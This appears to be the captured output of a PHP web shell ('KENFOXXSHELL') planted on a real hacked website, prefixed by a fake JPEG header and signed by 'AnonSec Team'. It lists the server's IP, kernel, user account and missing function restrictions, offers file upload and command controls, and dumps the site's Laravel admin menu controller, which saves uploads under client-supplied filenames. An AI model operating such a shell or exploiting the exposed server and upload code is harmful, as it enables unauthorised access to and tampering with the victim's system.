ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/private_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/private_html/app/Http/Controllers/Admin/MenuController.php
<?php 

namespace App\Http\Controllers\Admin;



use App\Http\Requests;

use App\Http\Controllers\Controller;

use App\Http\Requests\MenuRequest;



use Illuminate\Http\Request;

use App\Menu;

use Input, File;

use Validator;
use App\Menu_fix;
use App\ProductCate;
class MenuController extends Controller {
	public function getDanhSach()
    {
        $cat = ProductCate::all();
        $menu = Menu_fix::all();
        $menuParent = Menu_fix::where('parent_id', null)->orderBy('position')->get();
        return view('admin.menu_fix.list', compact('menu', 'menuParent', 'cat'));
    }
    public function postDanhSach(Request $request)
    {

        $path = 'upload/menu';
        $menu = new Menu_fix;
        $menu->parent_id = null;
        $menu->title = $request->txtName;
        $menu->tileeg = $request->txtNameeg;
       
        $menu->url = $request->txtLink;


        $menu->mota = $request->txtDesc;
       
        $menu->motaeg = $request->txtDesceg;
        
        $image = $request->file('image');
        if(!empty($image)){
            $file_name = time() . '_' . $image->getClientOriginalName();
            $image->move($path, $file_name);
            $menu->image = $file_name;
        }
        $imageeg = $request->file('imageeg');
        if(!empty($imageeg)){
            $file_name = time() . '_' . $imageeg->getClientOriginalName();
            $imageeg->move($path, $file_name);
            $menu->imageeg = $file_name;
        }
        if($request->class == 1){
            $menu->class= 'vk-list__item top-nav-shop top-nav-has-sub-nav';
        }

        $menu->save();
        return back();
    }
    public function postAdd(NewsCateRequest $request)
    {
        

    }
    public function postSaveMenu(Request $request)
    {
        $jsonMenu = json_decode($request->jsonMenu);
        $this->saveMenu($jsonMenu);
        return back();
    }
    public function saveMenu($jsonMenu, $parent_id = null) {
        $dem = 0;
        foreach ($jsonMenu as $item) {
            $menu = Menu_fix::find($item->id);
            if( $menu ){
                $menu->position = $dem;
                $menu->parent_id = $parent_id;
                $menu->save();
                if(!empty($item->children)) {
                    $this->saveMenu($item->children, $menu->id);
                }
            }
            $dem++;
        }
    }
    public function getEdit($id)
    {
        $cat = ProductCate::all();
        $menu = Menu_fix::find($id);
        return view('admin.menu_fix.edit', compact('menu', 'cat'));
    }
    public function postEdit(Request $request , $id)
    {
        $path = 'upload/menu';
        $menu = Menu_fix::find($id);
        $menu->title = $request->txtName;
        $menu->tileeg = $request->txtNameeg;
        $menu->url = $request->txtLink;
        $menu->urleg = $request->txtLinkeg;


        $menu->mota = $request->txtDesc;
       
        $menu->motaeg = $request->txtDesceg;


        $image = $request->file('image');
        if(!empty($image)){
            $file_name = time() . '_' . $image->getClientOriginalName();
            $image->move($path, $file_name);
            $menu->image = $file_name;
        }
        $imageeg = $request->file('imageeg');
        if(!empty($imageeg)){
            $file_name = time() . '_' . $imageeg->getClientOriginalName();
            $imageeg->move($path, $file_name);
            $menu->imageeg = $file_name;
        }
        $menu->save();
        return back();
    }
    public function getDelete($id)
    {
        $parent = Menu_fix::where('parent_id', $id)->count();
        if($parent == 0 ){
            Menu_fix::destroy($id);
            return back()->with([
                'flash_level' => 'success',
                'flash_message' => 'Xóa thành công !'
            ]);
        }else {
            return back()->with([
                'flash_level' => 'danger',
                'flash_message' => 'Menu có menu con không thể xóa !'
            ]);
        }
    }
    public function getDeleteImage($id)
    {
        $menu = Menu_fix::find($id);
        $menu->image = null;
        $menu->imageeg = null;
        $menu->save();
        return back();
    }
    public function getAjax(Request $request)
    {
        if(!empty($request->id)){
            $cat = ProductCate::find($request->id);
            return response()->json($cat);
        }else {
            return false;
        }
    }
}


Anon7 - 2022
AnonSec Team